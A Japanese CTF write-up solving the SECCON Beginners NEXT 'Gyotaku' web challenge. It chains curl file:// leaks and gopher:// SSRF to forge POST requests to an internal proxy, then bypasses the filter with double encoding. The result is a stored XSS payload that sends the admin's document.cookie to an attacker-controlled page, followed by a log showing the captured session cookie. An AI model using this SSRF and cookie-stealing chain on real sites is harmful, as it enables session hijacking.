SECCON Beginners NEXT Web

Web

CTF4bのWebのまとめ

Web問は難問

来年のDEFCONは出題者が変わるみたいなのでWeb問も出るかも?

Gyotaku

作問:れっくすさんの問題

予習

適当にURLを打ち込むとそのソースコードを表示してくれる。

いろいろなURLをいれるとわかることがある。

http://8.8.8.8/
http://a.i.u/
http://google.com/<a>test</a>
http://google.com/<script>alert('1')</script>

まず1番目に関してはForbiddenとなるので、なにか入力したもののチェックが行われていることがわかる。

2番目に関しては存在しないURLだが、Gyotaku結果にcurl: (6) Could not resolve host: a.i.uと出る。内部でcurlが使われているらしい。

3番目は表示されるが、4番目に関してはForbiddenになるのでタグに関してもチェックが行われている感じ

Posted gyotakus are checked by admin という表示があるのでXSSして管理者にアクセスさせるんだろうなという問題であることが予想できる

本番

curlの知らない機能たち

全てman curlに書いてある機能、これらを使ってXSSを行う

gopherを使ってpost通信する

gopherとはGolangのやつではなくプロトコルである。

ブラウザが主流となる前に使われていたプロトコルだが今は全然ないらしい

POST送信の中身をそのままgopherで使えばいいらしい

POST /new HTTP/ 1.1
Host: ほすとねーむ
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

url=x

というPOSTを送りたかったら

gopher://ほすとねーむ/_POST%20/new%20HTP/1.1%0d%0aHost:%20ほすとねーむ%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%205%0d%0a%0d%0aurl=x

確認したかったら、以下のコマンドを別々の端末で打てばPOST通信ができていることがわかる。

$ nc -l -p 10000
$ curl gopher://localhost:10000/_POST%20/new%20HTP/1.1%0d%0aHost:%20localhost:10000%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%205%0d%0a%0d%0aurl=x

Gyotakuの脆弱性をつく

curlのfileコマンドを使ってapcheの設定ファイルをリークすると127.0.0.1:9999にリバースプロキシがあることがわかる。

これを利用し127.0.0.1:9999にgopherプロトコルでPOST通信ができればXSSさせることができそう。

GyotakuにPOST通信

上の要領でgopherのPOST通信をごりごり書く

gopher://localhost:9999/_POST%20/new%20HTTP/1.{1}%0d%0aHost{%3a}%20localhost:9999%0d%0aContent-Length{%3a}%20コンテンツの中身の長さ%0d%0aContent-Type{%3a}%20application/x-www-form-urlencoded%0d%0aCookie{%3a}%20session=くっきー%0d%0a%0d%0aurl=自分のページ

こんな感じでうまく行く。後はscriptを書き込む。

GyotakuでXSS

POST通信の時にがっつりカットしたけどチェックされそうな部分を%エンコードしていく。 タグ等は1回はパーセントから戻されるので<%253cとしておくと1回デコードされて%3cとなってチェックをすり抜けられる。

gopher://localhost:9999/_POST%20/new%20HTTP/1.{1}%0d%0aHost{%3a}%20localhost:9999%0d%0aContent-Length{%3a}%20コンテンツの中身の長さ%0d%0aContent-Type{%3a}%20application/x-www-form-urlencoded%0d%0aCookie{%3a}%20session=くっきー%0d%0a%0d%0aurl=%253cscript>location.href="自分のページ/%3fa="%252bdocument%252ecookie%253c/script>

クッキー入手

"GET /?a=session=293e53ca013fb6ece2ef7d773905495e503bf3ba38781363a504b21f0a3248e3 HTTP/1.1" 200 2425 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/60.0.3112.113 HeadlessChrome/60.0.3112.113 Safari/537.36"

こんな感じでクッキー入手、後は書き換えてflagも手に入ります。

感想

POST送信系統がめんどい、既にWriteup書いてた方のようにshellscriptとかpythonで書いた方がミスが少ないと思います。 Gyotakuのシステムでは送信できていれば送信途中までのPOSTが現れるのでそれを頼りになおしていくといい。Webはやはりいろいろ知識がいるなぁと

解答に関してですがrequestb.inは相性が悪いらしいので自分はawsを使いました。awsのelastic IPだとめんどいのでパブリックDNSを使ったほうがいい感じになると思います。

もっと強くなりたい。